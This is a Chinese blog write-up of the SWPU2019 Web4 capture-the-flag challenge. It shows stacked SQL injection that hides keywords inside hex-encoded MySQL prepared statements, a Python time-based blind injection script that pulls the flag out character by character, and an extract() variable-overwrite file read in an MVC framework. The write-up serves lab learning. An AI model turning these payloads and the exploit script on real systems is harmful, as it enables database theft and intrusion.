• [SWPU2019]Web4


    知识点:16进制+mysql预处理,在PDO环境下的sql进行堆叠注入、mvc框架的简单审计、extract函数变量覆盖
    
    • 1

    分析

    登录没反应,注册功能没有,也没有目录穿越和伪协议读取,那么抓个包吧,可以看到状态码,和一个状态信息,试一下注入,可以看到加了单引号报错,双引号却没有,单引号加分号没错,那么就很明显了,是堆叠注入。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    并且还过滤了一大堆关键词,这边就要用16进制+mysql预处理来进行预处理,预处理我理解就是类似动态调用,那么16进制+mysql预处理是怎么进行堆叠注入的呢?我们借助MySQL来看一下。
    在这里插入图片描述
    从sql界面中可以看出,我们用预处理来执行16进制后的sql语句是可以的,那么我们就可以进行堆叠注入了。
    知识点详细了解处:https://xz.aliyun.com/t/3950

    mysql> select hex('select sleep(5)');
    +--------------------------------+
    | hex('select sleep(5)')         |
    +--------------------------------+
    | 73656C65637420736C656570283529 |
    +--------------------------------+
    1 row in set (0.01 sec)
    
    mysql> set @a = 0x73656C65637420736C656570283529;
    Query OK, 0 rows affected (0.00 sec)
    
    mysql> prepare smtm_test from @a;
    Query OK, 0 rows affected (0.00 sec)
    Statement prepared
    
    mysql> execute smtm_test;
    +----------+
    | sleep(5) |
    +----------+
    |        0 |
    +----------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    获取源码文件名-exp

    exp出处:https://www.anquanke.com/post/id/194640#h3-4

    import requests
    import json
    import time
    
    def main():
        url = 'http://2f40d5e5-47d2-45c6-9f2c-eeafd0786245.node4.buuoj.cn:81/index.php?r=Login/Login'
        payloads = "admin';set @a=0x{0};prepare smtm_test from @a;execute smtm_test-- -"
        flag = ''
        for i in range(27,30):
            payload = 'select if(ascii(substr((select  flag from flag),{0},1))={1},sleep(3),0)'
            for j in range(32,127):
                datas = {"username":payloads.format(str_to_hex(payload.format(i,j))),"password":"123456"}
                data = json.dumps(datas)
                times = time.time()
                res = requests.post(url=url, data=data)
                if time.time() - times >= 3:
                    flag = flag + chr(j)
                    print(flag)
                    break
    
    
    def str_to_hex(s):
        return ''.join([hex(ord(c)).replace('0x', '') for c in s])
    
    if __name__ == '__main__':
        main()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    源码文件:glzjin_wants_a_girl_friend.zip

    利用点

    flag文件提示我们要通过某些方法访问它。
    在这里插入图片描述

    fun.php中解释了路由的构成。 例如:Login/Index就是LoginController下的actionIndex函数
    在这里插入图片描述
    也就是说r=Login/Index访问了Controller文件夹下的文件。
    在这里插入图片描述
    在BaseController.php中看到了一个extract函数,可以用来变量覆盖,且这是一个mvc框架,那么view文件夹下的就是客户端的,$this->viewPath = BASE_PATH . "/View/{$viewName}.php"; include包含了里面传的一个参数,找找哪边可以利用来传参。
    在这里插入图片描述
    UserController.php中可以传参给BaseController.php中的$viewName属性,此时已经确定了index.php?r=User/Index,接下来就去view/userIndex.php文件看看
    在这里插入图片描述
    view/userIndex.php中,有一段把图片转为base64然后输出的代码片段,那么我们可以利用extract函数覆盖掉$img_base64/../flag.php,这样就可以得到flag的base64加密后的值了。
    在这里插入图片描述

    输入参数:
    在这里插入图片描述
    获得flag:
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    SystemVerilog语法中,在Class中引用层次化信号
    C++day6
    vue中v-model应用于表单元素
    【前端面试】- 输入URL到页面加载的全过程(一)
    队列--c语言实现
    【线性代数基础进阶】矩阵-part1
    vue-router的使用
    三元组(C++ 实现矩阵快速转置)
    华为机试真题实战应用【算法代码篇】-最大嵌套括号深度(附Java、python和C++代码)
    Opencv实现对象跟踪
  • 原文地址:https://blog.csdn.net/shinygod/article/details/126909360